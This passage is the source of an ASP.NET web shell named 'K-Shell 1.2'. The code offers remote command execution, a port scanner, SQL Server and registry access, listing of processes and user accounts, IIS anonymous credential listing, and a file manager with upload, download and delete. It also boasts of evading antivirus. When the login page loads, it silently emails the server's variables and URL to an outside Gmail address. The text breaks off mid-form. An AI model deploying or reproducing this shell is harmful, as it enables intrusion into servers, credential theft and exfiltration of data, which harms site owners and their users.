  799. 'ret.Items.Add(ip + ":" + port);
  800. Dim scanres As String = ""
  801. Try
  802. Dim tcpClient As New TcpClient()
  803. Try
  804. tcpClient.Connect(ip, Int32.Parse(port))
  805. tcpClient.Close()
  806. ret.Items.Add(ip + " : " + port + " ................................. Open")
  807. Catch e As SocketException
  808. ret.Items.Add(ip + " : " + port + " ................................. Close")
  809. End Try
  810. tcpClient.Close()
  811. Catch exp As SocketException
  812. errMsg = "ErrorCode : " + exp.ErrorCode.ToString() + " : " + exp.Message
  813. End Try
  814. Next
  815. Next
  816. End Sub
  817. End Class
  818.  
  819. Public Function MakeIps(ByVal StartIp As String, ByVal EndIP As String) As ArrayList
  820. Dim IpList As New ArrayList()
  821. Dim IpParts1 As String() = New String(3) {}
  822. Dim IpParts2 As String() = New String(3) {}
  823. IpParts1 = StartIp.Split("."C)
  824. IpParts2 = EndIP.Split("."C)
  825. Dim nTime As Integer = (Int32.Parse(IpParts2(0)) - Int32.Parse(IpParts1(0))) * 254 * 254 * 254 + (Int32.Parse(IpParts2(1)) - Int32.Parse(IpParts1(1))) * 254 * 254 + (Int32.Parse(IpParts2(2)) - Int32.Parse(IpParts1(2))) * 254 + (Int32.Parse(IpParts2(3)) - Int32.Parse(IpParts1(3))) + 1
  826. If nTime < 0 Then
  827. Response.Write("IP Address Error.Check" & Chr(13) & "" & Chr(10) & "")
  828. Return Nothing
  829. End If
  830. For n As Integer = 0 To nTime - 1
  831. IpList.Add(IpParts1(0) + "." + IpParts1(1) + "." + IpParts1(2) + "." + IpParts1(3))
  832. Dim tmp As Integer = Int32.Parse(IpParts1(3)) + 1
  833. IpParts1(3) = tmp.ToString()
  834. If IpParts1(3).Equals("255") Then
  835. tmp = Int32.Parse(IpParts1(2)) + 1
  836. IpParts1(2) = tmp.ToString()
  837. IpParts1(3) = "1"
  838. End If
  839. If IpParts1(2).Equals("255") Then
  840. tmp = Int32.Parse(IpParts1(1)) + 1
  841. IpParts1(1) = tmp.ToString()
  842. IpParts1(2) = "1"
  843. End If
  844. If IpParts1(1).Equals("255") Then
  845. tmp = Int32.Parse(IpParts1(0)) + 1
  846. IpParts1(0) = tmp.ToString()
  847. IpParts1(1) = "1"
  848.  
  849. End If
  850. Next
  851. Return IpList
  852. End Function
  853.  
  854.  
  855. Protected Sub btnScan_Click(ByVal sender As Object, ByVal e As EventArgs)
  856. If txtStartIP.Text = "" OrElse txtEndIP.Text = "" OrElse txtPorts.Text = "" Then
  857. Response.Write("IP OR Ports Error.Check")
  858. Return
  859. End If
  860. Dim StartIp As String = txtStartIP.Text
  861. Dim EndIp As String = txtEndIP.Text
  862. Dim ips As ArrayList = MakeIps(StartIp, EndIp)
  863. Dim ScanPorts As New ArrayList()
  864. Dim ports As String() = txtPorts.Text.Split(","C)
  865. For Each port As String In ports
  866. 'Response.Write(port);
  867. ScanPorts.Add(port)
  868. Next
  869. lstRet.Visible = True
  870. Label1.Visible = True
  871. Dim myscanner As New Scanner()
  872. myscanner.Ips = ips
  873. myscanner.ports = ScanPorts
  874. myscanner.ret = Me.lstRet
  875. myscanner.run()
  876. End Sub
  877.  
  878. Protected Sub btnReset_Click(ByVal sender As Object, ByVal e As EventArgs)
  879. txtStartIP.Text = ""
  880. txtEndIP.Text = ""
  881. txtPorts.Text = ""
  882. Label1.Visible = False
  883. lstRet.Visible = False
  884. End Sub
  885. 'End Scanner
  886. </script>
  887. <%
  888. if request.QueryString("action")="down" and session("rooot")=1 then
  889. downTheFile(request.QueryString("src"))
  890. response.End()
  891. end if
  892. Dim act as string = request.QueryString("action")
  893. if act="cmd" then
  894. TITLE="CMD.NET"
  895. elseif act="cmdw32" then
  896. TITLE="ASP.NET W32 Shell"
  897. elseif act="cmdwsh" then
  898. TITLE="ASP.NET WSH Shell"
  899. elseif act="sqlrootkit" then
  900. TITLE="SqlRootKit.NET"
  901. elseif act="clonetime" then
  902. TITLE="Clone Time"
  903. elseif act="information" then
  904. TITLE="Web Server Info"
  905. elseif act="goto" then
  906. TITLE="K-Shell 1.2"
  907. elseif act="pro1" then
  908. TITLE="List processes from server"
  909. elseif act="pro2" then
  910. TITLE="List processes from server"
  911. elseif act="user" then
  912. TITLE="List User Accounts"
  913. elseif act="applog" then
  914. TITLE="List Application Event Log Entries"
  915. elseif act="syslog" then
  916. TITLE="List System Event Log Entries"
  917. elseif act="auser" then
  918. TITLE="IIS List Anonymous' User details"
  919. elseif act="sqlman" then
  920. TITLE="MSSQL Management"
  921. elseif act="scan" then
  922. TITLE="Port Scanner"
  923. elseif act="iisspy" then
  924. TITLE="IIS Spy"
  925. elseif act="sqltool" then
  926. TITLE="SQL Tool"
  927. elseif act="regshell" then
  928. TITLE="Registry Shell"
  929. else
  930. TITLE=request.ServerVariables("HTTP_HOST")
  931. end if
  932. %>
  933. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  934. <html>
  935. <style>
  936. body{background-color:#444;color:#e1e1e1;}
  937. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  938. table.info{ color:#fff;background-color:#222; }
  939. span,h1,a{ color: #df5 !important; }
  940. span{ font-weight: bolder; }
  941. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  942. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  943. a{ text-decoration:none; }
  944. a:hover{ text-decoration:underline; }
  945. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  946. .bigarea{ width:100%;height:300px; }
  947. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  948. form{ margin:0px; }
  949. .toolsInp{ width: 300px }
  950. .main th{text-align:left;background-color:#5e5e5e;}
  951. .main tr:hover{background-color:#5e5e5e}
  952. .l1{background-color:#444}
  953. .l2{background-color:#333}
  954. pre{font-family:Courier,Monospace;}
  955. </style>
  956. <head>
  957. <meta http-equiv="Content-Type" content="text/html">
  958. <title></title>
  959. </head>
  960. <body>
  961. <hr>
  962. <%
  963. Dim error_x as Exception
  964. Try
  965. if session("rooot")<>1 then
  966. 'Test sending anonymous mail, comment it if you don't want test it
  967. dim info As String
  968. Try
  969. info = request.ServerVariables.ToString.Replace("%2f","/").Replace("%5c","\").Replace("%3a",":").Replace("%2c",",").Replace("%3b",";").Replace("%3d","=").Replace("%2b","+").Replace("%0d%0a",vbnewline)
  970. System.Web.Mail.SmtpMail.SmtpServer = "localhost"
  971. System.Web.Mail.SmtpMail.Send(request.ServerVariables("HTTP_HOST"),"test.mail.address.2008@gmail.com",request.ServerVariables("HTTP_HOST")+request.ServerVariables("URL"),info)
  972. Catch
  973. End Try
  974. %>
  975. <center>
  976. <form runat="server">
  977. Your Password:<asp:TextBox ID="TextBox" runat="server" TextMode="Password" class="TextBox" />
  978. <asp:Button ID="Button" runat="server" Text="Login" ToolTip="Click here to login" OnClick="login_click" class="buttom" />
  979. </form>
  980. </center>
  981. <%
  982. else
  983. dim temp as string
  984. temp=request.QueryString("action")
  985. if temp="" then temp="goto"
  986. select case temp
  987. case "goto"
  988. if request.QueryString("src")<>"" then
  989. url=request.QueryString("src")
  990. else
  991. url=server.MapPath(".") & "\"
  992. end if
  993. call existdir(url)
  994. dim xdir as directoryinfo
  995. dim mydir as new DirectoryInfo(url)
  996. dim guru as string
  997. dim xfile as fileinfo
  998.  
  999. dim ServerIP As string = "<font color=white>Server IP :</font> <b>" + Request.ServerVariables("LOCAL_ADDR") + "</b> - <font color=white>Client IP :</font> <b>" + getIP() + "</b> - "
  1000. dim HostName As string = "<font color=white>HostName :</font> <b>" + Environment.MachineName + "</b> - <font color=white>Username :</font> <b>"+ Environment.UserName +"</b><br>"
  1001. dim OSVersion As string = "<font color=white>OS Version :</font> <b>" + Environment.OSVersion.ToString() + "</b>"
  1002. dim IISversion As string = "<font color=white> - IIS Version :</font> <b>" + Request.ServerVariables("SERVER_SOFTWARE") + "</b><br><font color=white>System Dir :</font> <b>" + Environment.SystemDirectory + "</b>"
  1003. dim PATH_INFO As string = "<font color=white> - PATH_TRANSLATED :</font> <b>" + Request.ServerVariables("PATH_TRANSLATED") + "</b><br>"
  1004. dim HARDWARE_INFO As string = ""
  1005. Dim environmentVariables As IDictionary = Environment.GetEnvironmentVariables()
  1006. Dim de As DictionaryEntry
  1007. For Each de In environmentVariables
  1008. if de.Key = "NUMBER_OF_PROCESSORS" then
  1009. HARDWARE_INFO += "<font color=white>Hardware Info :</font> <b>" + de.Value + "CPU - "
  1010. end if
  1011. if de.Key = "PROCESSOR_IDENTIFIER" then
  1012. HARDWARE_INFO += de.Value + "</b><br>"
  1013. end if
  1014. Next
  1015. Info.Text += ServerIP + HostName + OSVersion + IISversion + PATH_INFO + HARDWARE_INFO
  1016. %>
  1017. <table width="100%" border="0" align="center">
  1018. <tr>
  1019. <td><asp:Label ID="Info" runat="server" EnableViewState="False" /></td>
  1020. </tr>
  1021. </table>
  1022. <hr>
  1023.  
  1024. <table width="100%" border="0" align="center">
  1025. <tr>
  1026. <td>Currently Dir:</td> <td><font color=red><%=url%></font></td>
  1027. </tr>
  1028. <tr>
  1029. <td width="10%">Operate:</td>
  1030. <td width="90%"><a href="?action=new&src=<%=server.UrlEncode(url)%>" title="New file or directory">New</a> -
  1031. <%if session("cutboard")<>"" then%>
  1032. <a href="?action=paste&src=<%=server.UrlEncode(url)%>" title="you can paste">Paste</a> -
  1033. <%else%>
  1034. Paste -
  1035. <%end if%>
  1036. <a href="?action=upfile&src=<%=server.UrlEncode(url)%>" title="Upload file">UpLoad</a> - <a href="?action=goto&src=" & <%=server.MapPath(".")%> title="Go to this file's directory">GoBackDir </a> - <a href="?action=logout" title="Exit" ><font color="red">Quit</font></a>
  1037. </td>
  1038. </tr>
  1039. <tr>
  1040. <td>
  1041. Go to: </td>
  1042. <td>
  1043. <%
  1044. dim i as integer
  1045. for i =0 to Directory.GetLogicalDrives().length-1
  1046. response.Write("<a href='?action=goto&src=" & Directory.GetLogicalDrives(i) & "'>" & Directory.GetLogicalDrives(i) & " </a>")
  1047. next
  1048. %>
  1049.  
  1050. </td>
  1051. <td align="Left">
  1052. <%
  1053. response.Write("IP:<font color=red>" & Request.ServerVariables("REMOTE_ADDR")&"</font>")
  1054. %>
  1055. </td>
  1056. </tr>
  1057.  
  1058. <tr>
  1059. <td>Tool:</td>
  1060. <td><a href="?action=sqlrootkit" >SqlRootKit.NET </a> - <a href="?action=cmd" >CMD.NET</a> - <a href="?action=cmdw32" >kshellW32</a> - <a href="?action=cmdwsh" >kshellWSH</a> - <a href="?action=clonetime&src=<%=server.UrlEncode(url)%>" >CloneTime</a> - <a href="?action=information" >System Info</a> - <a href="?action=pro1" >List Processes 1</a> - <a href="?action=pro2" >List Processes 2</a></td>
  1061. </tr>
  1062. <tr>
  1063. <td> </td>
  1064. <td><a href="?action=user" >List User Accounts</a> - <a href="?action=auser" >IIS Anonymous User</a>- <a href="?action=scan" >Port Scanner</a> - <a href="?action=iisspy" >IIS Spy</a> - <a href="?action=applog" >Application Event Log </a> - <a href="?action=syslog" >System Log</a></td>
  1065. </tr>
  1066. </table>
  1067. <hr>
  1068. <table width=100% class=main cellspacing=0 cellpadding=1><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>
  1069.  
  1070.  
  1071. <tr>
  1072. <td><%
  1073. guru= "<tr><td><a href='?action=goto&src=" & server.UrlEncode(Getparentdir(url)) & "'><b>[..]</b></a></td></tr>"
  1074. response.Write(guru)
  1075. dim lll
  1076. lll=1
  1077. for each xdir in mydir.getdirectories()
  1078. response.Write("<tr>")
  1079. dim filepath as string
  1080. filepath=server.UrlEncode(url & xdir.name)
  1081. if lll=1 then
  1082. lll=2
  1083. else
  1084. lll=1
  1085. end if
  1086. guru= "<tr class=l" & lll & "><td><a href='?action=goto&src=" & filepath & "\" & "'><b>[" & xdir.name & "]</b></a></td>"
  1087. response.Write(guru)
  1088. response.Write("<td>&lt;dir&gt;</td>")
  1089. response.Write("<td>" & Directory.GetLastWriteTime(url & xdir.name) & "</td>")
  1090. guru="<td><a href='?action=cut&src=" & filepath & "\' target='_blank'>Cut" & "</a>|<a href='?action=copy&src=" & filepath & "\' target='_blank'>Copy</a>|<a href='?action=del&src=" & filepath & "\'" & " onclick='return del(this);'>Del</a></td>"
  1091. response.Write(guru)
  1092. response.Write("</tr>")
  1093. next
  1094. %></td>
  1095. </tr>
  1096. <tr>
  1097. <td><%
  1098. for each xfile in mydir.getfiles()
  1099. dim filepath2 as string
  1100. filepath2=server.UrlEncode(url & xfile.name)
  1101. response.Write("<tr>")
  1102. if lll=1 then
  1103. lll=2
  1104. else
  1105. lll=1
  1106. end if
  1107. guru= "<tr class=l" & lll & "><td><a href='?action=edit&src=" & filepath2 & "'>" & xfile.name & "</a></td>"
  1108. response.Write(guru)
  1109. guru="<td>" & GetSize(xfile.length) & "</td>"
  1110. response.Write(guru)
  1111. response.Write("<td>" & file.GetLastWriteTime(url & xfile.name) & "</td>")
  1112. guru="<td><a href='?action=edit&src=" & filepath2 & "'>Edit</a>|<a href='?action=cut&src=" & filepath2 & "' target='_blank'>Cut</a>|<a href='?action=copy&src=" & filepath2 & "' target='_blank'>Copy</a>|<a href='?action=rename&src=" & filepath2 & "'>Rename</a>|<a href='?action=down&src=" & filepath2 & "' onClick='return down(this);'>Download</a>|<a href='?action=del&src=" & filepath2 & "' onClick='return del(this);'>Del</a></td>"
  1113. response.Write(guru)
  1114. response.Write("</tr>")
  1115. next
  1116. response.Write("</table>")
  1117. %></td>
  1118. </tr>
  1119. </table>
  1120. <script language="javascript">
  1121. function del()
  1122. {
  1123. if(confirm("Are you sure?")){return true;}
  1124. else{return false;}
  1125. }
  1126. function down()
  1127. {
  1128. if(confirm("If the file size > 20M,\nPlease don\'t download\nYou can copy file to web directory ,use http download\nAre you sure download?")){return true;}
  1129. else{return false;}
  1130. }
  1131. </script>
  1132. <%
  1133. case "information"
  1134. dim CIP,CP as string
  1135. if getIP()<>request.ServerVariables("REMOTE_ADDR") then
  1136. CIP=getIP()
  1137. CP=request.ServerVariables("REMOTE_ADDR")
  1138. else
  1139. CIP=request.ServerVariables("REMOTE_ADDR")
  1140. CP="None"
  1141. end if
  1142. %>
  1143. <div align=center>[ Web Server Information ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></div><br>
  1144. <table width="100%" border="1" align="center">
  1145. <tr>
  1146. <td width="40%">Server IP</td>
  1147. <td width="60%"><%=request.ServerVariables("LOCAL_ADDR")%></td>
  1148. </tr>
  1149. <tr>
  1150. <td height="73">Machine Name</td>
  1151. <td><%=Environment.MachineName%></td>
  1152. </tr>
  1153. <tr>
  1154. <td>Network Name</td>
  1155. <td><%=Environment.UserDomainName.ToString()%></td>
  1156. </tr>
  1157. <tr>
  1158. <td>User Name in this Process</td>
  1159. <td><%=Environment.UserName%></td>
  1160. </tr>
  1161. <tr>
  1162. <td>OS Version</td>
  1163. <td><%=Environment.OSVersion.ToString()%></td>
  1164. </tr>
  1165. <tr>
  1166. <td>Started Time</td>
  1167. <td><%=GetStartedTime(Environment.Tickcount)%> Hours</td>
  1168. </tr>
  1169. <tr>
  1170. <td>System Time</td>
  1171. <td><%=now%></td>
  1172. </tr>
  1173. <tr>
  1174. <td>IIS Version</td>
  1175. <td><%=request.ServerVariables("SERVER_SOFTWARE")%></td>
  1176. </tr>
  1177. <tr>
  1178. <td>HTTPS</td>
  1179. <td><%=request.ServerVariables("HTTPS")%></td>
  1180. </tr>
  1181. <tr>
  1182. <td>PATH_INFO</td>
  1183. <td><%=request.ServerVariables("PATH_INFO")%></td>
  1184. </tr>
  1185. <tr>
  1186. <td>PATH_TRANSLATED</td>
  1187. <td><%=request.ServerVariables("PATH_TRANSLATED")%></td>
  1188. <tr>
  1189. <td>SERVER_PORT</td>
  1190. <td><%=request.ServerVariables("SERVER_PORT")%></td>
  1191. </tr>
  1192. <tr>
  1193. <td>SeesionID</td>
  1194. <td><%=Session.SessionID%></td>
  1195. </tr>
  1196. <tr>
  1197. <td colspan="2"><span class="style3">Client Infomation</span></td>
  1198. </tr>
  1199. <tr>
  1200. <td>Client Proxy</td>
  1201. <td><%=CP%></td>
  1202. </tr>
  1203. <tr>
  1204. <td>Client IP</td>
  1205. <td><%=CIP%></td>
  1206. </tr>
  1207. <tr>
  1208. <td>User</td>
  1209. <td><%=request.ServerVariables("HTTP_USER_AGENT")%></td>
  1210. </tr>
  1211. </table>
  1212. <table align=center>
  1213. <% Create_table_row_with_supplied_colors("Black", "White", "center", "Environment Variables, Server Variables") %>
  1214. <tr>
  1215. <td><textArea cols=50 rows=10><% output_all_environment_variables("text") %></textarea></td>
  1216. <td><textArea cols=50 rows=10><% output_all_Server_variables("text") %></textarea></td>
  1217. </tr>
  1218. </table>
  1219. <%
  1220. case "cmd"
  1221. %>
  1222. <form runat="server">
  1223. <p>[ CMD.NET for WebAdmin ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1224. <p> Execute command with ASP.NET account(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  1225. <p>- This function has fixed by kikicoco.Antivirus has not detected (2007/02/27)-</p>
  1226. Command:
  1227. <asp:TextBox ID="cmd" runat="server" Width="300" class="TextBox" />
  1228. <asp:Button ID="Button123" runat="server" Text="Run" OnClick="RunCMD" class="buttom"/>
  1229. <p>
  1230. <asp:Label ID="result" runat="server" style="style2"/> </p>
  1231. </form>
  1232. <%
  1233. case "cmdw32"
  1234. %>
  1235. <form runat="server">
  1236. <p>[ ASP.NET W32 Shell ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1237. <p> Execute command with ASP.NET account using W32(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  1238. <%
  1239. Response.Write("System Dir : "+Environment.SystemDirectory +"<br><br>")
  1240. %>
  1241. CMD File:
  1242. <asp:TextBox ID="txtCmdFile" runat="server" Width="473px" style="border: 1px solid #084B8E">C:\\WINDOWS\\system32\\cmd.exe</asp:TextBox><br><br>
  1243. Command:&nbsp;
  1244. <asp:TextBox ID="txtCommand1" runat="server" style="border: 1px solid #084B8E"/>
  1245. <asp:Button ID="Buttoncmdw32" runat="server" Text="Run" OnClick="RunCmdW32" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>
  1246. <p>
  1247. <asp:Label ID="resultcmdw32" runat="server" style="color: #0000FF"/>
  1248. </p>
  1249. </form>
  1250. <%
  1251. case "cmdwsh"
  1252. %>
  1253. <form runat="server">
  1254. <p>[ ASP.NET WSH Shell ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1255. <p> Execute command with ASP.NET account using WSH(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  1256. Command:
  1257. <asp:TextBox ID="txtCommand2" runat="server" style="border: 1px solid #084B8E"/>
  1258. <asp:Button ID="Buttoncmdwsh" runat="server" Text="Run" OnClick="RunCmdWSH" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>
  1259. <p>
  1260. <asp:Label ID="resultcmdwsh" runat="server" style="color: #0000FF"/>
  1261. </p>
  1262. </form>
  1263. <%
  1264. case "pro1"
  1265. %>
  1266. <form runat="server">
  1267. <p align=center>[ List processes from server ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1268. <table align=center>
  1269. <tr>
  1270. <td>
  1271. <%
  1272. Try
  1273. output_wmi_function_data("Win32_Process","ProcessId,Name,WorkingSetSize,HandleCount")
  1274. Catch
  1275. rw("This function is disabled by server")
  1276. End Try
  1277. %>
  1278. </td>
  1279. </tr>
  1280. </table>
  1281. </form>
  1282. <%
  1283. case "pro2"
  1284. %>
  1285. <form runat="server">
  1286. <p align=center>[ List processes from server ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1287. <table align=center width='80%'>
  1288. <tr>
  1289. <td>
  1290. <%
  1291. Dim htmlbengin As String = "<table width='80%' align=center border=0><tr align=center><td width='20%'><b>ID</b></td><td align=left width='20%'><b>Process</b></td><td align=left width='20%'><b>MemorySize</b></td><td align=center width='10%'><b>Threads</b></td></tr>"
  1292. Dim prostr As String = ""
  1293. Dim htmlend As String = "</tr></table>"
  1294. Try
  1295. Dim mypro As Process() = Process.GetProcesses()
  1296. For Each p As Process In mypro
  1297. prostr += "<tr><td align=center>" + p.Id.ToString() + "</td>"
  1298. prostr += "<td align=left>" + p.ProcessName.ToString() + "</td>"
  1299. prostr += "<td align=left>" + p.WorkingSet.ToString() + "</td>"
  1300. prostr += "<td align=center>" + p.Threads.Count.ToString() + "</td>"
  1301. Next
  1302. Catch ex As Exception
  1303. Response.write(ex.Message)
  1304. End Try
  1305. Response.write(htmlbengin + prostr + htmlend)
  1306. %>
  1307. </td>
  1308. </tr>
  1309. </table>
  1310. </form>
  1311. <%
  1312. case "user"
  1313. %>
  1314. <form runat="server">
  1315. <p align=center>[ List User Accounts ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1316. <table align=center>
  1317. <tr>
  1318. <td>
  1319. <%
  1320. dim WMI_function = "Win32_UserAccount"
  1321. dim Fields_to_load = "Name,Domain,FullName,Description,PasswordRequired,SID"
  1322. dim fail_description = " Access to " + WMI_function + " is protected"
  1323. Try
  1324. output_wmi_function_data(WMI_function,Fields_to_load)
  1325. Catch
  1326. rw(fail_description)
  1327. End Try
  1328. %>
  1329. </td>
  1330. </tr>
  1331. </table>
  1332. </form>
  1333. <%
  1334. case "reg"
  1335. %>
  1336. <form runat="server">
  1337. <p align=center>[ Registry ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1338. <table align=center>
  1339. <tr>
  1340. <td>
  1341. <%
  1342. dim WMI_function = "Win32_Registry"
  1343. dim Fields_to_load = "Caption,CurrentSize,Description,InstallDate,Name,Status"
  1344. dim fail_description = " Access to " + WMI_function + " is protected"
  1345. Try
  1346. output_wmi_function_data(WMI_function,Fields_to_load)
  1347. Catch
  1348. rw(fail_description)
  1349. End Try
  1350. %>
  1351. </td>
  1352. </tr>
  1353. </table>
  1354. </form>
  1355. <%
  1356. case "applog"
  1357. %>
  1358. <form runat="server">
  1359. <p align=center>[ List Application Event Log Entries ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1360. <table align=center>
  1361. <tr>
  1362. <td>
  1363. <%
  1364. dim WMI_function = "Win32_NTLogEvent where Logfile='Application'"
  1365. dim Fields_to_load = "Logfile,Message,type"
  1366. dim fail_description = " Access to " + WMI_function + " is protected"
  1367. Try
  1368. output_wmi_function_data_instances(WMI_function,Fields_to_load,2000)
  1369. Catch
  1370. rw(fail_description)
  1371. End Try
  1372. %>
  1373. </td>
  1374. </tr>
  1375. </table>
  1376. </form>
  1377. <%
  1378. case "syslog"
  1379. %>
  1380. <form runat="server">
  1381. <p align=center>[ List System Event Log Entries ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1382. <table align=center>
  1383. <tr>
  1384. <td>
  1385. <%
  1386. dim WMI_function = "Win32_NTLogEvent where Logfile='System'"
  1387. dim Fields_to_load = "Logfile,Message,type"
  1388. dim fail_description = " Access to " + WMI_function + " is protected"
  1389.  
  1390. Try
  1391. output_wmi_function_data_instances(WMI_function,Fields_to_load,2000)
  1392. Catch
  1393. rw("This function is disabled by server")
  1394. End Try
  1395. %>
  1396. </td>
  1397. </tr>
  1398. </table>
  1399. </form>
  1400. <%
  1401. case "auser"
  1402. %>
  1403. <form runat="server">
  1404. <p align=center>[ IIS List Anonymous' User details ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1405. <table align=center>
  1406. <tr>
  1407. <td>
  1408. <%
  1409. Try
  1410. IIS_list_Anon_Name_Pass
  1411. Catch
  1412. rw("This function is disabled by server")
  1413. End Try
  1414. %>
  1415. </td>
  1416. </tr>
  1417. </table>
  1418. </form>
  1419. <%
  1420. case "scan"
  1421. %>
  1422. <form runat="server">
  1423. <p>[ ASP.NET Port Scanner ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1424. <div>
  1425. C# coded by Hackwol & Lenk, VB coded by kikicoco (19/08/2008)<br /><br />
  1426. Start IP :&nbsp;&nbsp;<asp:TextBox ID="txtStartIP" runat="server" Width="177px">127.0.0.1</asp:TextBox>
  1427. &nbsp;&nbsp; &nbsp; --- &nbsp;End Ip : &nbsp;<asp:TextBox ID="txtEndIP" runat="server" Width="185px">127.0.0.1</asp:TextBox>&nbsp;
  1428. <br />
  1429. Ports &nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;<asp:TextBox ID="txtPorts" runat="server" Width="473px">21,25,80,1433,3306,3389</asp:TextBox><br />
  1430. <br />
  1431. <asp:Button ID="btnScan" runat="server" Text="Scan" Width="60px" Font-Bold="True" ForeColor="MediumBlue" BorderStyle="Solid" OnClick="btnScan_Click" />
  1432. &nbsp;&nbsp;
  1433. <asp:Button ID="btnReset" runat="server" Text="Reset" Width="60px" Font-Bold="True" ForeColor="MediumBlue" BorderStyle="Solid" OnClick="btnReset_Click" /><br />
  1434. <br />
  1435. <asp:Label ID="Label1" runat="server" Text="Result:" Visible="False" Width="70px"></asp:Label><br />
  1436. <asp:ListBox ID="lstRet" runat="server" BackColor="Black" ForeColor="#00C000" Height="251px"
  1437. Width="527px" Visible="False"></asp:ListBox>
  1438. <hr align=left style="width: 526px" />
  1439. <br />
  1440. </div>
  1441. </form>
  1442. <%
  1443. case "iisspy"
  1444. %>
  1445. <p align=center>[ IIS Spy ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1446. <%
  1447. Try
  1448. Response.write(IISSpy())
  1449. Catch
  1450. rw("This function is disabled by server")
  1451. End Try
  1452. %>
  1453. <%
  1454. case "sqltool"
  1455. %>
  1456. <p align=center>[ SQL Tool ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1457. <%
  1458. Try
  1459.  
  1460. Catch
  1461. rw("This function is disabled by server")
  1462. End Try
  1463. %>
  1464. <%
  1465. case "regshell"
  1466. %>
  1467. <form runat="server">
  1468. <p align=center >[ Registry Shell ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1469. Key:&nbsp;&nbsp;
  1470. <asp:TextBox ID="txtRegKey" runat="server" style="width: 595px; border: 1px solid #084B8E">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox><br><br>
  1471. Value:
  1472. <asp:TextBox ID="txtRegValue" runat="server" style="border: 1px solid #084B8E">ComputerName</asp:TextBox>&nbsp;&nbsp;
  1473. <asp:Button ID="btnReadReg" runat="server" Text="Run" OnClick="RegistryRead" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>
  1474. <p>
  1475. <asp:Label ID="lblresultReg" runat="server" style="color: red"/>
  1476. </p>
  1477. </form>
  1478. <%
  1479. case "sqlman"
  1480. %>
  1481. <form runat="server">
  1482. <p>[ MSSQL Query ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1483. <p> Execute query with SQLServer account(<span class="style3">Notice: only click "Run" to run</span>)</p>
  1484. <p>Host:
  1485. <asp:TextBox ID="txtHost" runat="server" Width="300" class="TextBox" Text="127.0.0.1"/></p>
  1486. <p>
  1487. SQL Name:
  1488. <asp:TextBox ID="txtSqlName" runat="server" Width="50" class="TextBox" Text='sa'/>
  1489. SQL Password:
  1490. <asp:TextBox ID="txtSqlPass" runat="server" Width="80" class="TextBox"/>
  1491. </p>
  1492. Command:
  1493. <asp:TextBox ID="txtSqlcmd" runat="server" Width="500" class="TextBox" TextMode="MultiLine" Rows="6"/></br>
  1494. <asp:Button ID="btnButtonSQL" runat="server" Text="Run" OnClick="RunSQLQUERY" class="buttom" Width="100"/>
  1495. <p>
  1496. <asp:Label ID="lblresultSQL" runat="server" style="style2"/> </p>
  1497. </form>
  1498. <%
  1499. case "sqlrootkit"
  1500. %>
  1501. <form runat="server">
  1502. <p>[ SqlRootKit.NET for WebAdmin ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1503. <p> Execute command with SQLServer account(<span class="style3">Notice: only click "Run" to run</span>)</p>
  1504. <p>Host:
